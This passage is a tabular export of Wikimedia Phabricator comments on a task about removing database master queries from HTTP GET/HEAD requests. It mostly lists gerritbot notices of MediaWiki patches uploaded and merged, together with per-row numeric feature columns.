[[https://gerrit.wikimedia.org/r/234193]]",,,1440750186,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.7037037037037037,0.8518518518518519,"Change 234193 merged by jenkins-bot:
Use quickUserCan() in showHeader() to avoid master queries

[[GERRIT_URL]]"
515689,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234158 merged by jenkins-bot:
Defer ""remember"" preference updates

[[https://gerrit.wikimedia.org/r/234158]]",,,1440668899,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.857142857142857,0.8571428571428571,"Change 234158 merged by jenkins-bot:
Defer ""remember"" preference updates

[[GERRIT_URL]]"
515684,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234181 merged by jenkins-bot:
Supress DBPerformance log entries from OAI special page

[[https://gerrit.wikimedia.org/r/234181]]",,,1440668439,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.217391304347826,0.9130434782608695,"Change 234181 merged by jenkins-bot:
Supress DBPerformance log entries from OAI special page

[[GERRIT_URL]]"
515681,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234204 merged by jenkins-bot:
Ignore DBPerformance thresholds in Special:ConfirmEmail

[[https://gerrit.wikimedia.org/r/234204]]",,,1440668309,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.545454545454546,0.8636363636363636,"Change 234204 merged by jenkins-bot:
Ignore DBPerformance thresholds in Special:ConfirmEmail

[[GERRIT_URL]]"
515670,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234183 merged by jenkins-bot:
Defer clearTalkNotification() updates as they often happen on GET requests

[[https://gerrit.wikimedia.org/r/234183]]",,,1440666829,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,11.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.222222222222222,0.9259259259259259,"Change 234183 merged by jenkins-bot:
Defer clearTalkNotification() updates as they often happen on GET requests

[[GERRIT_URL]]"
515621,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,">>! In T92357#1577841, @gerritbot wrote:
> Change 234188 had a related patch set uploaded (by Aaron Schulz):
> Avoid using DB_MASTER in SpecialEditWatchlist::getWatchlist()
> 
> [[https://gerrit.wikimedia.org/r/234188]]

> The form data will be lagged by user delay anyway,

The difference being that in one case the user expects the list of titles not to be complete (and hence will probably not [un]watch any page while keeping Editwatchlist open), in the other the incident is unexpected.",,,1440660971,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,True,,,8,True,2.0,0.0,0.0,0.0,4.0,7.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,15.0,4.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.037037037037037,0.7407407407407407,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

QUOTE

The difference being that in one case the user expects the list of titles not to be complete (and hence will probably not [un]watch any page while keeping Editwatchlist open), in the other the incident is unexpected."
515520,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234204 had a related patch set uploaded (by Aaron Schulz):
Ignore DBPerformance thresholds in Special:ConfirmEmail

[[https://gerrit.wikimedia.org/r/234204]]
",,,1440639778,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,29.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.428571428571429,0.8928571428571429,"Change 234204 had a related patch set uploaded (by Aaron Schulz):
Ignore DBPerformance thresholds in Special:ConfirmEmail

[[GERRIT_URL]]
"
515509,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234188 merged by jenkins-bot:
Avoid using DB_MASTER in SpecialEditWatchlist::getWatchlist()

[[https://gerrit.wikimedia.org/r/234188]]",,,1440638272,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,4.818181818181818,0.9090909090909091,"Change 234188 merged by jenkins-bot:
Avoid using DB_MASTER in SpecialEditWatchlist::getWatchlist()

[[GERRIT_URL]]"
515506,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234197 merged by jenkins-bot:
Defer spreadAnyEditBlock() post-send

[[https://gerrit.wikimedia.org/r/234197]]",,,1440637913,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.772727272727273,0.8636363636363636,"Change 234197 merged by jenkins-bot:
Defer spreadAnyEditBlock() post-send

[[GERRIT_URL]]"
515494,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234185 merged by jenkins-bot:
Defer the saveSettings() call in onMakeGlobalVariablesScript()

[[https://gerrit.wikimedia.org/r/234185]]",,,1440636937,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.24,0.84,"Change 234185 merged by jenkins-bot:
Defer the saveSettings() call in onMakeGlobalVariablesScript()

[[GERRIT_URL]]"
515493,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234197 had a related patch set uploaded (by Aaron Schulz):
Defer spreadAnyEditBlock() post-send

[[https://gerrit.wikimedia.org/r/234197]]
",,,1440636919,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.8214285714285716,0.8571428571428571,"Change 234197 had a related patch set uploaded (by Aaron Schulz):
Defer spreadAnyEditBlock() post-send

[[GERRIT_URL]]
"
515476,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234160 had a related patch set uploaded (by Krinkle):
Defer ""language"" preference update

[[https://gerrit.wikimedia.org/r/234160]]
",,,1440636141,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.8461538461538463,0.8461538461538461,"Change 234160 had a related patch set uploaded (by Krinkle):
Defer ""language"" preference update

[[GERRIT_URL]]
"
515473,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234193 had a related patch set uploaded (by Aaron Schulz):
Use quickUserCan() in showHeader() to avoid master queries

[[https://gerrit.wikimedia.org/r/234193]]
",,,1440635965,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.757575757575758,0.8181818181818182,"Change 234193 had a related patch set uploaded (by Aaron Schulz):
Use quickUserCan() in showHeader() to avoid master queries

[[GERRIT_URL]]
"
515441,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234188 had a related patch set uploaded (by Aaron Schulz):
Avoid using DB_MASTER in SpecialEditWatchlist::getWatchlist()

[[https://gerrit.wikimedia.org/r/234188]]
",,,1440633332,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,4.642857142857143,0.8571428571428571,"Change 234188 had a related patch set uploaded (by Aaron Schulz):
Avoid using DB_MASTER in SpecialEditWatchlist::getWatchlist()

[[GERRIT_URL]]
"
515437,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234185 had a related patch set uploaded (by Aaron Schulz):
Defer the saveSettings() call in onMakeGlobalVariablesScript()

[[https://gerrit.wikimedia.org/r/234185]]
",,,1440632920,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,16.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.193548387096774,0.8064516129032258,"Change 234185 had a related patch set uploaded (by Aaron Schulz):
Defer the saveSettings() call in onMakeGlobalVariablesScript()

[[GERRIT_URL]]
"
515423,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234183 had a related patch set uploaded (by Aaron Schulz):
Defer clearTalkNotification() updates as they often happen on GET requests

[[https://gerrit.wikimedia.org/r/234183]]
",,,1440631935,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,12.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,4.181818181818182,0.8787878787878788,"Change 234183 had a related patch set uploaded (by Aaron Schulz):
Defer clearTalkNotification() updates as they often happen on GET requests

[[GERRIT_URL]]
"
515415,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234181 had a related patch set uploaded (by Aaron Schulz):
Supress DBPerformance log entries from OAI special page

[[https://gerrit.wikimedia.org/r/234181]]
",,,1440631310,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,24.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.172413793103448,0.896551724137931,"Change 234181 had a related patch set uploaded (by Aaron Schulz):
Supress DBPerformance log entries from OAI special page

[[GERRIT_URL]]
"
515414,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234180 had a related patch set uploaded (by Aaron Schulz):
Removed READ_LATEST from revision load in getMsgFromNamespace()

[[https://gerrit.wikimedia.org/r/234180]]
",,,1440631265,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,20.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.333333333333333,0.8666666666666667,"Change 234180 had a related patch set uploaded (by Aaron Schulz):
Removed READ_LATEST from revision load in getMsgFromNamespace()

[[GERRIT_URL]]
"
515403,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234175 had a related patch set uploaded (by Aaron Schulz):
Removed pointless Title::GAID_FOR_UPDATE for altBaseRevId field

[[https://gerrit.wikimedia.org/r/234175]]
",,,1440630342,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.851851851851852,0.8888888888888888,"Change 234175 had a related patch set uploaded (by Aaron Schulz):
Removed pointless Title::GAID_FOR_UPDATE for altBaseRevId field

[[GERRIT_URL]]
"
515399,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234173 had a related patch set uploaded (by Aaron Schulz):
Use DB_SLAVE in TranslatablePage for GET request

[[https://gerrit.wikimedia.org/r/234173]]
",,,1440630088,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,29.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,11.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.107142857142857,0.8928571428571429,"Change 234173 had a related patch set uploaded (by Aaron Schulz):
Use DB_SLAVE in TranslatablePage for GET request

[[GERRIT_URL]]
"
515367,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234164 had a related patch set uploaded (by Aaron Schulz):
Use DB slaves for Campaign reads on GET requests

[[https://gerrit.wikimedia.org/r/234164]]
",,,1440627778,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,27.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7666666666666666,0.9,"Change 234164 had a related patch set uploaded (by Aaron Schulz):
Use DB slaves for Campaign reads on GET requests

[[GERRIT_URL]]
"
515346,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 234158 had a related patch set uploaded (by Aaron Schulz):
Defer ""remember"" preference updates

[[https://gerrit.wikimedia.org/r/234158]]
",,,1440625695,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.888888888888889,0.8518518518518519,"Change 234158 had a related patch set uploaded (by Aaron Schulz):
Defer ""remember"" preference updates

[[GERRIT_URL]]
"
510638,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 205528 had a related patch set uploaded (by Aaron Schulz):
Made CentralAuthUser::loadState() generally use DB slaves

[[https://gerrit.wikimedia.org/r/205528]]
